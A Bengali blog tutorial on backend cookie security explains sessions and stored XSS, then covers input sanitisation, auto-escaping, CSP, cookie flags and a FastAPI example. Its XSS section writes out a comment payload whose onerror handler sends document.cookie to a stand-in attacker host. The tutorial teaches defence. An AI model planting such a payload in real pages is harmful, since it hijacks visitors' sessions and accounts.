Skip to main content

Command Palette

Search for a command to run...

Backend Security (Part-6)

Cookie Security

Published
7 min read

আমরা যেকোনো ওয়েবসাইটে সাধারণত ইমেল ও পাসওয়ার্ড দিয়ে প্রথমে লগইন করি। এরপর ওয়েবসাইট ব্রাউজ করি, ব্রাউজার বন্ধ করি, এমনকি কম্পিউটারও বন্ধ করে দিই। পরে আবার সেই ওয়েবসাইটে প্রবেশ করলে একটু খেয়াল করলেই দেখা যায়—অনেক ক্ষেত্রেই আমাদের আর নতুন করে ইমেল ও পাসওয়ার্ড দিয়ে লগইন করতে হয় না, এমনকি অনেক দিন পরেও না!

এই চমৎকার সুবিধাটি বাস্তবায়ন করার জন্য ওয়েব ডেভেলপমেন্টে একাধিক পদ্ধতি রয়েছে। তবে আজ আমরা আলোচনা করব সবচেয়ে জনপ্রিয় একটি টেকনিক নিয়ে—যেটি ব্যবহার করেন ডেভেলপাররা, আবার হ্যাকারদের কাছেও বেশ পরিচিত—তা হলো কুকি (Cookie)।

কুকি নিয়ে পড়াশোনা শুরু করার আগে আমাদের আগে বুঝে নিতে হবে সেশন (Session) আসলে কী।

Session

যখন কোনো login request সফলভাবে সম্পন্ন হয়, তখন সার্ভার সেই লগইন করা ইউজারকে ভবিষ্যতে চিনে রাখার জন্য কিছু জিনিস তৈরি ও সংরক্ষণ করে। এই প্রক্রিয়াটি সাধারণত এমন হয়:

  • Randomly Generated Session ID - একটি ইউনিক সেশন আইডি তৈরি করা হয় , সাধারণত এর দৈর্ঘ্য থাকে 128–256 ক্যারেক্টার

  • Session Metadata সংরক্ষণ - এই Session ID এর সাথে সম্পর্কিত কিছু তথ্য সার্ভারের ডাটাবেজে রাখা হয় (যেমন: Redis, In-memory store অথবা Any Database):

    • কোন user-এর সেশন

    • Session creation time

    • Session expiration time

    • User IP address

    • User agent (ব্রাউজার / ডিভাইস সংক্রান্ত তথ্য)

    • Session ID ব্রাউজারে পাঠানো সবশেষে: সার্ভার এই Session ID–টি Cookie-এর মাধ্যমে ইউজারের ব্রাউজারে সেট করে দেয়।

এর ফলে পরবর্তীতে ব্রাউজার যখনই সার্ভারে নতুন কোনো request পাঠায়, সেই Cookie-এর মাধ্যমে সার্ভার বুঝতে পারে— এই requestটি কোন logged-in user-এর।

এতে বোঝা গেল, কুকি আসলে খুবই গুরুত্বপূর্ণ একটা জিনিস। এই কুকি যদি কোনোভাবে হ্যাকারের হাতে চলে যায়, তাহলে মোটামুটি গেম ওভার।

কুকি বিভিন্নভাবে কম্প্রোমাইজ বা স্যাক্রিফাইস হয়ে যেতে পারে। কমন কিছু অ্যাটাকের কথা বললে— XSS (Cross-Site Scripting), CSRF (Cross-Site Request Forgery) ইত্যাদি উল্লেখ করা যায়।

আজ আমি মূলত XSS অ্যাটাক নিয়ে হালকা একটা ধারণা দেবো, আর পাশাপাশি কিভাবে আমাদের কুকিগুলো সিকিউর করা যায়—সে বিষয়ে কয়েকটা গুরুত্বপূর্ণ পয়েন্টে আলোকপাত করবো।

পুনশ্চ: আগেই বলে রাখি, এই লেখাগুলোর উদ্দেশ্য খুব গভীরভাবে ডুব দিয়ে মুক্তা খোঁজা না। বরং একজন ডেভেলপার হিসেবে একটা সিকিউরিটি মেন্টাল ম্যাপ তৈরি করা, যেটা ধীরে ধীরে মাসল মেমরিতে সেইভ হয়ে যাবে—এইটাই মূল লক্ষ্য।

XSS (Cross-Site Scripting)

একসময় “কুকি স্যাক্রিফাইস”, “হ্যাকার কুকি নিয়ে নেয়”—এই কথাগুলো আমার কাছেও বেশ দুর্বোধ্য লাগত। ভাবতাম, এইগুলা আসলে হয় কীভাবে? পরে নিজে বোঝার জন্য একটা ছোট সিনারিও বানালাম। তখন বুঝলাম—আরে, হ্যাকার শা* তো একদম সোজা রাস্তা দিয়েই ঢুকে পড়ে!

ধরি, আমরা একটি ব্লগ ওয়েবসাইট বানিয়েছি যেখানে কমেন্ট সেকশন আছে। কিন্তু বড় সমস্যা হলো—ইউজার ইনপুট (HTML) ঠিকমতো sanitize করা হচ্ছে না। এখন একজন হ্যাকার নিচের কমেন্টটা পোস্ট করল:

Great article!
<img src="x" onerror="document.location='https://hacker-api.com/steal?c='+document.cookie" />

ধরে নিলাম, এই কমেন্টটা কোনো রিভিউ ছাড়াই অটো-পাবলিশ হয়ে গেল। এরপর কী ঘটে?

  1. আমাদের ব্লগ সাইটের একজন সাধারণ ইউজার সেই ব্লগ পেজ ভিজিট করল

  2. ব্রাউজার পুরো পেজের HTML রেন্ডার করল—কমেন্ট সেকশনসহ লোড করার চেষ্টা করা হলো

  3. যেহেতু "x" কোনো বৈধ ইমেজ না, তাই ইমেজ লোড ফেইল করল

  4. ইমেজ লোড ফেইল হওয়ায় onerror ইভেন্ট ট্রিগার হলো

  5. onerror-এর ভেতরের জাভাস্ক্রিপ্ট কোড এক্সিকিউট হয়ে গেল:

document.location = 'https://hacker-api.com/steal?c=' + document.cookie;

ফলাফল কী?

ভিক্টিম ইউজারের ব্রাউজার নিজেই একটি HTTP রিকুয়েস্ট পাঠিয়ে দিল হ্যাকার-এর সার্ভারে। রিকুয়েস্টটা দেখতে হয় এমন:

https://hacker-api.com/steal?c= session_id=abc123; user_token=xyz789

অর্থাৎ, ভিক্টিমের সব অ্যাক্সেসযোগ্য কুকি হ্যাকার পেয়ে গেল।

যদি এই কুকিগুলোর মধ্যে থাকে:

  • session_id

  • authentication token

  • remember-me token

তাহলে হ্যাকার খুব সহজেই সেই ইউজারের একাউন্ট হাইজ্যাক করতে পারবে—পাসওয়ার্ড না জানলেও।

এই অ্যাটাকটার নাম কী? এটাই Stored XSS (Persistent XSS) XSS (Cross-Site Scripting)-এর অনেকগুলা টাইপের মধ্যে এটা সবচেয়ে বিপজ্জনকগুলোর একটা, কারণ:

  • পে-লোড একবার স্টোর হয়

  • প্রতিটা ভিজিটর অটো-ভিক্টিম হয়

  • হ্যাকারকে বারবার কিছু করতে হয় না

How to Secure Cookies

আমরা যদি নিচের স্টেপগুলো ঠিকভাবে ফলো করি, তাহলে প্রায় 90% common risk কাভার করা সম্ভব।


1. Sanitize ALL User Input (XSS ঠেকানোর মূল জায়গা)

আমরা কখনোই user input raw অবস্থায় render করবো না।
বিশেষ করে:

  • Comment

  • Post body

  • Description

  • Rich text input

এই জায়গাগুলোই সাধারণত Stored XSS-এর প্রধান entry point।

Python উদাহরণ (Bleach ব্যবহার করে)

import bleach

def sanitize_comment(comment):
    allowed_tags = ['b', 'i', 'em', 'strong', 'p', 'br']
    return bleach.clean(comment, tags=allowed_tags, strip=True)

এখানে যা হচ্ছে:

  • script, iframe, onerror, onclick টাইপ payload auto remove হয়

  • Stored XSS থেকে cookie leak হওয়ার ঝুঁকি অনেকটাই কমে যায়

গুরুত্বপূর্ণ নোট

  • আমরা কখনো Regex দিয়ে HTML sanitize করার চেষ্টা করবো না

  • সবসময় HTML parser-based sanitizer ব্যবহার করাই সঠিক পদ্ধতি


2. Framework-এর Auto-Escaping ব্যবহার করা

(Default behaviour আমরা পরিবর্তন করবো না)

বেশিরভাগ modern framework (Django, Jinja2, Rails ইত্যাদি) ডিফল্টভাবেই auto-escaping করে।

Django Template (Safe by default)

<p>{{ user_comment }}</p>

এখানে user input HTML হিসেবে execute হবে না।

যেটা আমরা এড়িয়ে চলবো

{{ user_comment|safe }}

|safe ব্যবহার করলে framework-এর built-in protection bypass হয়ে যায়। আমরা শুধু তখনই এটা ব্যবহার করবো, যখন 100% নিশ্চিত যে input আগেই sanitize করা।


3. Content Security Policy (CSP) ব্যবহার করা

CSP থাকলে XSS থাকলেও তার impact অনেক কমে যায়। মানে vulnerability থাকলেও damage limited রাখা যায়।

Minimum Recommended CSP

Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  img-src 'self' https:;
  object-src 'none';

এর ফলে:

  • Inline JavaScript block হয়ে যায়

  • External malicious script load করা যায় না

  • Cookie stealing payload execute করা অনেক কঠিন হয়


Cookie সেট করার সময় আমরা যদি এই flags না দিই, তাহলে security অসম্পূর্ণ থেকেই যায়।

Flagকী করেকেন দরকার
HttpOnlyJavaScript access বন্ধXSS হলেও JS cookie পড়তে পারবে না
Secureশুধু HTTPS-এ পাঠানো হয়MITM / sniffing আটকায়
SameSiteCross-site request controlCSRF risk কমায়

SameSite Values (সংক্ষেপে)

  • Strict → শুধু same-site request

  • Lax → normal navigation allow করে (recommended default)

  • None → cross-site allow (Secure flag বাধ্যতামূলক)

Best Practice

  • Auth / session cookie → SameSite=Lax

  • Third-party cookie → SameSite=None; Secure=True


HTTPS ছাড়া Secure flag কার্যকর হয় না।

Production environment-এ আমরা অবশ্যই:

  • HTTPS everywhere ব্যবহার করবো

  • HTTP → HTTPS redirect দিবো

  • Localhost ছাড়া কোথাও HTTP চালাবো না


Long-lived cookie মানেই বড় risk।

  • Session cookie হলে browser close-এর সাথে expire হওয়া ভালো

  • Remember-me টাইপ cookie হলেও reasonable expiry দেওয়া উচিত

  • Token rotation implement করলে overall security আরও বাড়ে


FastAPI Implementation

আমি যেহেতু FastAPI একটু কোড করতে পারি , তাই একটা demonstration দিলাম ।

from fastapi import FastAPI, Request, Response
from fastapi.responses import JSONResponse
import uuid
from datetime import datetime, timedelta

app = FastAPI()

# Middleware: HTTP request-এর আগে/পরে চলে
@app.middleware("http")
async def add_security_headers(request: Request, call_next):
    """
    সব HTTP response-এ security headers যোগ করে।
    এটি XSS, clickjacking ইত্যাদি attack প্রতিরোধ করে।
    """
    response = await call_next(request)

    # Content Security Policy (CSP) header
    # এটি নির্ধারণ করে কোন resources (scripts, styles, images ইত্যাদি) load করা যাবে
    response.headers["Content-Security-Policy"] = (
        "default-src 'self'; "           # শুধু নিজের domain থেকে resources load হবে
        "script-src 'self'; "           # শুধু নিজের domain থেকে scripts load হবে
        "style-src 'self'; "            # শুধু নিজের domain থেকে CSS load হবে
        "img-src 'self'; "              # শুধু নিজের domain থেকে images load হবে
        "object-src 'none'; "           # object, embed, applet elements block করা
        "frame-ancestors 'none'; "      # clickjacking প্রতিরোধ (iframe-এ embed করা যাবে না)
        "form-action 'self'; "          # শুধু নিজের domain-এ form submit করা যাবে
    )

    # X-Frame-Options header (পুরনো browsers-এর জন্য compatibility)
    # Clickjacking attack প্রতিরোধ করে - পেজকে iframe-এ load করা যাবে না
    response.headers["X-Frame-Options"] = "DENY"

    # X-Content-Type-Options header
    # Browser যেন content type sniffing না করে
    response.headers["X-Content-Type-Options"] = "nosniff"

    # Referrer-Policy header
    # অন্য site-এ যাওয়ার সময় referrer information share না করা
    response.headers["Referrer-Policy"] = "strict-origin-when-cross-origin"

    return response


@app.get("/login")
async def login(response: Response):
    """
    লগিন endpoint - নিরাপদ session cookie সেট করে
    """
    # Unique session ID generate করা
    session_id = str(uuid.uuid4())

    # Cookie সেট করা - বিভিন্ন security flags সহ
    response.set_cookie(
        key="session_id",          # Cookie-র নাম
        value=session_id,          # Cookie-র value (encrypted হওয়া উচিত production-এ)
        httponly=True,             # ✅ JavaScript থেকে access করা যাবে না - XSS protection
        secure=True,               # ✅ শুধু HTTPS connection-এ পাঠানো হবে
        samesite="strict",         # ✅ CSRF protection - শুধু same site থেকে request আসলে cookie পাঠানো হবে
        max_age=3600,              # Cookie-র আয়ু ১ ঘণ্টা (সেকেন্ডে)
        expires=datetime.utcnow() + timedelta(hours=1),  # Expiry date/time
        path="/",                  # সব path-এ cookie available
        domain=None,               # শুধু current domain-এ (production-এ set করা উচিত)
    )

    return {"message": "Login successful", "session_id": session_id}


@app.get("/dashboard")
async def dashboard(request: Request):
    """
    Protected route - শুধু valid session থাকলে access করা যাবে
    """
    session_id = request.cookies.get("session_id")

    if not session_id:
        return JSONResponse(
            status_code=401,
            content={"error": "Unauthorized - No session found"}
        )

    # এখানে session validate করার logic থাকবে
    # Database বা cache থেকে session check করা

    return {"message": "Welcome to dashboard", "session_id": session_id}


@app.get("/logout")
async def logout(response: Response):
    """
    লগআউট endpoint - cookie expire করে দেয়
    """
    # Cookie expire করার technique:
    # একই নামের cookie সেট করা যায় past date-এ
    response.set_cookie(
        key="session_id",
        value="",                    # Empty value
        httponly=True,
        secure=True,
        samesite="strict",
        max_age=0,                   # ০ সেকেন্ড - immediately expire
        expires=datetime.utcnow() - timedelta(days=1),  # গতকাল expire হয়েছে
    )

    return {"message": "Logged out successfully"}


@app.get("/public")
async def public_route():
    """
    Public route - authentication লাগে না
    """
    return {"message": "This is a public endpoint"}


if __name__ == "__main__":
    import uvicorn
    uvicorn.run(app, host="0.0.0.0", port=8000)